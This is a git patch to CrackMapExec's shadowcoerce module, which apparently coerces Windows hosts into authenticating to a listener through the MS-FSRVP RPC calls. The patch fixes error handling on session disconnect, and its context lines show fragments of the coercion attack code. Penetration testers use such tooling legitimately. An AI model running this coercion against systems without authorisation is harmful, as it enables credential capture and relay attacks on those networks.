From 9b8b3f2a2954dcf3ee7f345b375056ce872c560f Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Fri, 24 Mar 2023 14:07:34 -0400 Subject: [PATCH] fix(shadowcoerce): catch error on session disconnect --- cme/modules/shadowcoerce.py | 17 ++++++++++++++--- tests/README.md | 0 2 files changed, 14 insertions(+), 3 deletions(-) create mode 100644 tests/README.md diff --git a/cme/modules/shadowcoerce.py b/cme/modules/shadowcoerce.py index f1ee4500..b53bc7a0 100644 --- a/cme/modules/shadowcoerce.py +++ b/cme/modules/shadowcoerce.py @@ -10,6 +10,8 @@ from impacket.dcerpc.v5.dtypes import BOOL, LONG, WSTR, LPWSTR from impacket.uuid import uuidtup_to_bin from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.smbconnection import SessionError + class CMEModule: @@ -52,7 +54,10 @@ class CMEModule: logging.debug("Using the default IsPathSupported") result = c.IsPathSupported(dce, self.listener) - dce.disconnect() + try: + dce.disconnect() + except SessionError as e: + logging.debug(f"Error disconnecting DCE session: {e}") if result: context.log.highlight("VULNERABLE") @@ -61,6 +66,7 @@ class CMEModule: else: logging.debug("Target not vulnerable to ShadowCoerce") + class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) @@ -76,6 +82,7 @@ class DCERPCSessionError(DCERPCException): else: return 'SessionError: unknown error code: 0x%x' % self.error_code + ################################################################################ # Error Codes ################################################################################ @@ -103,29 +110,34 @@ class IsPathSupported(NDRCALL): ('ShareName', WSTR), ) + class IsPathSupportedResponse(NDRCALL): structure = ( ('SupportedByThisProvider', BOOL), ('OwnerMachineName', LPWSTR), ) + class IsPathShadowCopied(NDRCALL): opnum = 9 structure = ( ('ShareName', WSTR), ) + class IsPathShadowCopiedResponse(NDRCALL): structure = ( ('ShadowCopyPresent', BOOL), ('ShadowCopyCompatibility', LONG), ) + OPNUMS = { 8 : (IsPathSupported, IsPathSupportedResponse), 9 : (IsPathShadowCopied, IsPathShadowCopiedResponse), } + class CoerceAuth(): def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost): binding_params = { @@ -170,7 +182,6 @@ class CoerceAuth(): logging.debug("Successfully bound!") return dce - def IsPathShadowCopied(self, dce, listener): logging.debug("Sending IsPathShadowCopied!") try: @@ -200,4 +211,4 @@ class CoerceAuth(): logging.debug("Attack may of may not have worked, check your listener...") return False - return True \ No newline at end of file + return True diff --git a/tests/README.md b/tests/README.md new file mode 100644 index 00000000..e69de29b